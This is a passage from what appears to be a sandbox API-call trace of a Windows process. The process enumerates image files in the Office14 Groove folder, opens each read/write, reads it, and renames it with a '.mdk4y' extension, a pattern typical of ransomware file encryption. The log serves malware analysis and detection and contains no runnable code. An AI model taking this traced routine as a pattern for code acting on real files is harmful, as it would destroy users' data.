"c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid.gif.mdk4y")) returned 1 [0216.034] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.034] AreFileApisANSI () returned 1 [0216.034] GetACP () returned 0x4e4 [0216.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_mid_disable.gif", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_mid_disable.giff", lpUsedDefaultChar=0x37dda8) returned 22 [0216.034] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_disable.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829126500000) returned 1 [0216.035] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x35, lpOverlapped=0x0) returned 1 [0216.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829126500000) returned 1 [0216.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829126500000) returned 1 [0216.036] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_disable.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_disable.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_disable.gif.mdk4y")) returned 1 [0216.036] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.036] AreFileApisANSI () returned 1 [0216.036] GetACP () returned 0x4e4 [0216.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_mid_over.gif", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_mid_over.gifgif", lpUsedDefaultChar=0x37dda8) returned 19 [0216.037] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_over.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829126700000) returned 1 [0216.037] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xbb, lpOverlapped=0x0) returned 1 [0216.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829126800000) returned 1 [0216.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829126800000) returned 1 [0216.038] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_over.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_over.gif.mdk4y")) returned 1 [0216.039] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.039] AreFileApisANSI () returned 1 [0216.039] GetACP () returned 0x4e4 [0216.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_right.gif", cchWideChar=16, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_right.gifgif", lpUsedDefaultChar=0x37dda8) returned 16 [0216.039] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829127200000) returned 1 [0216.042] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x26e, lpOverlapped=0x0) returned 1 [0216.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829127300000) returned 1 [0216.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829127300000) returned 1 [0216.043] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right.gif.mdk4y")) returned 1 [0216.044] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.044] AreFileApisANSI () returned 1 [0216.044] GetACP () returned 0x4e4 [0216.044] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_right_disable.gif", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_right_disable.giff", lpUsedDefaultChar=0x37dda8) returned 24 [0216.044] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_disable.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829127500000) returned 1 [0216.045] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xe1, lpOverlapped=0x0) returned 1 [0216.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829127600000) returned 1 [0216.046] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829127600000) returned 1 [0216.046] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_disable.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_disable.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_disable.gif.mdk4y")) returned 1 [0216.047] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.047] AreFileApisANSI () returned 1 [0216.048] GetACP () returned 0x4e4 [0216.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_right_over.gif", cchWideChar=21, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_right_over.gifgif", lpUsedDefaultChar=0x37dda8) returned 21 [0216.048] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_over.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829127800000) returned 1 [0216.048] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x41b, lpOverlapped=0x0) returned 1 [0216.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829128400000) returned 1 [0216.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829128400000) returned 1 [0216.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_over.gif.mdk4y")) returned 1 [0216.056] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.056] AreFileApisANSI () returned 1 [0216.056] GetACP () returned 0x4e4 [0216.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FieldTypePreview", cchWideChar=16, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FieldTypePreviewr.gif", lpUsedDefaultChar=0x37dda8) returned 16 [0216.056] AreFileApisANSI () returned 1 [0216.056] GetACP () returned 0x4e4 [0216.056] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=99, lpWideCharStr=0x37db3c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\h\x02Ȁ") returned 99 [0216.063] AreFileApisANSI () returned 1 [0216.063] GetACP () returned 0x4e4 [0216.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dd1c) returned 1 [0216.063] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.063] AreFileApisANSI () returned 1 [0216.063] GetACP () returned 0x4e4 [0216.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dd1c) returned 2 [0216.063] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.063] AreFileApisANSI () returned 1 [0216.063] GetACP () returned 0x4e4 [0216.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Attachments.jpg", cchWideChar=15, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Attachments.jpg", lpUsedDefaultChar=0x37dd1c) returned 15 [0216.063] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829129400000) returned 1 [0216.064] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x368c, lpOverlapped=0x0) returned 1 [0216.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829130200000) returned 1 [0216.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829130200000) returned 1 [0216.072] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg.mdk4y")) returned 1 [0216.074] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.074] AreFileApisANSI () returned 1 [0216.074] GetACP () returned 0x4e4 [0216.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BREAK.JPG", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BREAK.JPGts.jpg", lpUsedDefaultChar=0x37dd1c) returned 9 [0216.074] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\break.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829130500000) returned 1 [0216.075] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x3a68, lpOverlapped=0x0) returned 1 [0216.117] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829134700000) returned 1 [0216.117] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829134700000) returned 1 [0216.117] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\break.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\break.jpg.mdk4y")) returned 1 [0216.119] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.119] AreFileApisANSI () returned 1 [0216.119] GetACP () returned 0x4e4 [0216.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BUTTON.JPG", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BUTTON.JPGs.jpg", lpUsedDefaultChar=0x37dd1c) returned 10 [0216.119] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\button.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.120] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829135000000) returned 1 [0216.120] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x3004, lpOverlapped=0x0) returned 1 [0216.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829135100000) returned 1 [0216.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829135100000) returned 1 [0216.122] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\button.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\button.jpg.mdk4y")) returned 1 [0216.123] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.123] AreFileApisANSI () returned 1 [0216.123] GetACP () returned 0x4e4 [0216.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CHECKBOX.JPG", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="CHECKBOX.JPGjpg", lpUsedDefaultChar=0x37dd1c) returned 12 [0216.123] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\checkbox.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829135300000) returned 1 [0216.123] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x33d6, lpOverlapped=0x0) returned 1 [0216.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829135700000) returned 1 [0216.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829135700000) returned 1 [0216.128] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\checkbox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\checkbox.jpg.mdk4y")) returned 1 [0216.129] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.129] AreFileApisANSI () returned 1 [0216.129] GetACP () returned 0x4e4 [0216.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="COMBOBOX.JPG", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="COMBOBOX.JPG", lpUsedDefaultChar=0x37dd1c) returned 12 [0216.129] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\combobox.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829135900000) returned 1 [0216.129] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x43a3, lpOverlapped=0x0) returned 1 [0216.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829136900000) returned 1 [0216.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829136900000) returned 1 [0216.139] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\combobox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\combobox.jpg.mdk4y")) returned 1 [0216.140] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.140] AreFileApisANSI () returned 1 [0216.140] GetACP () returned 0x4e4 [0216.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTACT.JPG", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="CONTACT.JPGG", lpUsedDefaultChar=0x37dd1c) returned 11 [0216.140] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\contact.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829137100000) returned 1 [0216.141] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x36bd, lpOverlapped=0x0) returned 1 [0216.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829137200000) returned 1 [0216.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829137200000) returned 1 [0216.143] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\contact.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\contact.jpg.mdk4y")) returned 1 [0216.143] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.143] AreFileApisANSI () returned 1 [0216.143] GetACP () returned 0x4e4 [0216.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CURRENCY.JPG", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="CURRENCY.JPG", lpUsedDefaultChar=0x37dd1c) returned 12 [0216.144] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\currency.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829137400000) returned 1 [0216.144] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x3d22, lpOverlapped=0x0) returned 1 [0216.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829137600000) returned 1 [0216.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829137600000) returned 1 [0216.146] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 